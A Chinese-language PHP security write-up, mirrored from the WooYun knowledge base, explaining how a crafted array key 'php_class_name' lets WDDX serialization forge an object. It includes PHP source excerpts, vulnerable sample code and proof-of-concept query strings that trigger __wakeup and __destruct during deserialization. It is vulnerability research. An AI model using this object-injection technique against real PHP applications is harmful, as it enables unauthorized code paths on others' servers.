作者:
Ryat
·
2014/11/14 16:38
PHP 在把陣列序列化為 WDDX 結構的過程中,沒有對陣列的鍵名嚴格限制,導致可以偽造物件的 WDDX 結構。
i 序列化物件
PHP 在把物件序列化為 WDDX 結構時,會做如下處理:
#!cpp
static void php_wddx_serialize_object(wddx_packet *packet, zval *obj)
...
php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR);
php_wddx_add_chunk(packet, tmp_buf);
php_wddx_add_chunk_static(packet, WDDX_STRING_S);
php_wddx_add_chunk_ex(packet, class_name->val, class_name->len);
php_wddx_add_chunk_static(packet, WDDX_STRING_E);
php_wddx_add_chunk_static(packet, WDDX_VAR_E);
}
比如下面程式碼中的變數 $obj:
#!php
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi, "\n";
}
}
$obj = new ryat();
$obj->hi = 'ryat';
var_dump(wddx_serialize_value($obj));
經過 wddx_serialize_value() 函式序列化的 WDDX 結構如下:
<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
ii 序列化陣列
PHP 把陣列序列化為 WDDX 結構時,會做如下處理:
#!cpp
static void php_wddx_serialize_array(wddx_packet *packet, zval *arr)
{
...
target_hash = HASH_OF(arr);
ZEND_HASH_FOREACH_KEY(target_hash, idx, key) {
if (key) {
is_struct = 1;
break;
}
if (idx != ind) {
is_struct = 1;
break;
}
ind++;
} ZEND_HASH_FOREACH_END();
if (is_struct) {
php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
} else {
snprintf(tmp_buf, sizeof(tmp_buf), WDDX_ARRAY_S, zend_hash_num_elements(target_hash));
php_wddx_add_chunk(packet, tmp_buf);
}
ZEND_HASH_FOREACH_KEY_VAL(target_hash, idx, key, ent) {
if (ent == arr) {
continue;
}
if (is_struct) {
if (key) {
php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
} else {
key = zend_long_to_str(idx);
php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
zend_string_release(key);
}
} else {
php_wddx_serialize_var(packet, ent, NULL TSRMLS_CC);
}
} ZEND_HASH_FOREACH_END();
if (is_struct) {
php_wddx_add_chunk_static(packet, WDDX_STRUCT_E);
} else {
php_wddx_add_chunk_static(packet, WDDX_ARRAY_E);
}
}
...
void php_wddx_serialize_var(wddx_packet *packet, zval *var, zend_string *name TSRMLS_DC)
{
...
if (name) {
char *tmp_buf;
zend_string *name_esc;
name_esc = php_escape_html_entities(name->val, name->len, 0, ENT_QUOTES, NULL TSRMLS_CC);
tmp_buf = emalloc(name_esc->len + sizeof(WDDX_VAR_S));
snprintf(tmp_buf, name_esc->len + sizeof(WDDX_VAR_S), WDDX_VAR_S, name_esc->val);
php_wddx_add_chunk(packet, tmp_buf);
efree(tmp_buf);
zend_string_release(name_esc);
}
從上面的程式碼可以看到,陣列序列化後的 WDDX 結構主要分為兩種,一種是沒有指定鍵名的陣列的處理,比如下面程式碼中的變數 $arr:
#!php
$arr = array('hi', 'ryat');
var_dump(wddx_serialize_value($arr));
經過 wddx_serialize_value() 函式序列化的 WDDX 結構如下:
<wddxPacket version='1.0'><header/><data><array length='2'><string>hi</string><string>ryat</string></array></data></wddxPacket>
另一種則是對指定鍵名的陣列的處理,比如下面程式碼中的變數 $arr:
#!php
$arr = array('hi'=>'hi', 'ryat'=>'ryat');
var_dump(wddx_serialize_value($arr));
經過 wddx_serialize_value() 函式序列化的 WDDX 結構如下:
<wddxPacket version='1.0'><header/><data><struct><var name='hi'><string>hi</string></var><var name='ryat'><string>ryat</string></var></struct></data></wddxPacket>
iii 偽造物件的 WDDX 結構
透過上面的分析,簡單瞭解 WDDX 結構儲存 PHP 陣列和物件的具體格式,物件的儲存格式和指定鍵名的陣列的儲存格式非常接近,區別只在於,物件的儲存格式多了對類名的儲存:
<var name='php_class_name'><string>ryat</string></var>
PHP 在把陣列序列化 WDDX 結構過程中,僅僅呼叫了 php_escape_html_entities() 函式處理,然後直接構造 WDDX_VAR_S:
#define WDDX_VAR_S "<var name='%s'>"
那麼如果陣列中存在一個值為 php_class_name 的鍵名,就可以構造出:
<var name='php_class_name'><string>ryat</string></var>
這時序列化的 WDDX 結構就和物件的一樣了,如下面程式碼中的變數 $arr:
#!php
$arr = array('php_class_name'=>'ryat', 'hi'=>'ryat');
var_dump(wddx_serialize_value($arr));
經過 wddx_serialize_value() 函式序列化的 WDDX 結構如下:
<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
可以看到,序列化的 WDDX 結構和第一個例子中的 $obj 物件序列化的 WDDX 結構是一樣的,也就說,透過一個特殊的陣列偽造了一個物件的 WDDX 結構:)
iv 安全隱患
PHP 反序列化 WDDX 結構的處理過程類似於 unserialize() 函式,透過對特定的 WDDX 結構反序列化,可以生成一個物件,並執行類的 __wakeup() 方法(如果存在的話),在物件被銷燬或者指令碼執行結束時會執行類的 __destruct() 方法(如果存在的話),那麼安全隱患隨之而來。而比 unserialize() 函式更危險的是,反序列化過程和序列化過程都可能存在安全問題:)
i) 利用 wddx_deserialize() 函式
#!php
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi, "\n";
}
}
wddx_deserialize(wddx_serialize_value($_GET['arr']);
透過下面的方式,可以成功執行 __wakeup() 方法和 __destruct() 方法:)
?arr[php_class_name]=ryat&arr[hi]=ryat
ii) 利用 $_SESSION 進行序列化和反序列化
PHP 在儲存和讀取 $_SESSION 時會對資料進行序列化和反序列化,預設情況下與 serialize() 函式和 unserialize() 函式的處理方式相同,但是 PHP 提供了一個 session.serialize_handler 配置選項,可以使用 WDDX 格式進行序列化和反序列化:)
#!php
ini_set('session.serialize_handler', 'wddx');
session_start();
$_SESSION['arr'] = $_GET['arr'];
透過下面的方式,就可以偽造成物件的 WDDX 結構:)
?arr[php_class_name]=ryat&arr[hi]=ryat
from:http://www.80vul.com/pch/pch-014.txt
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!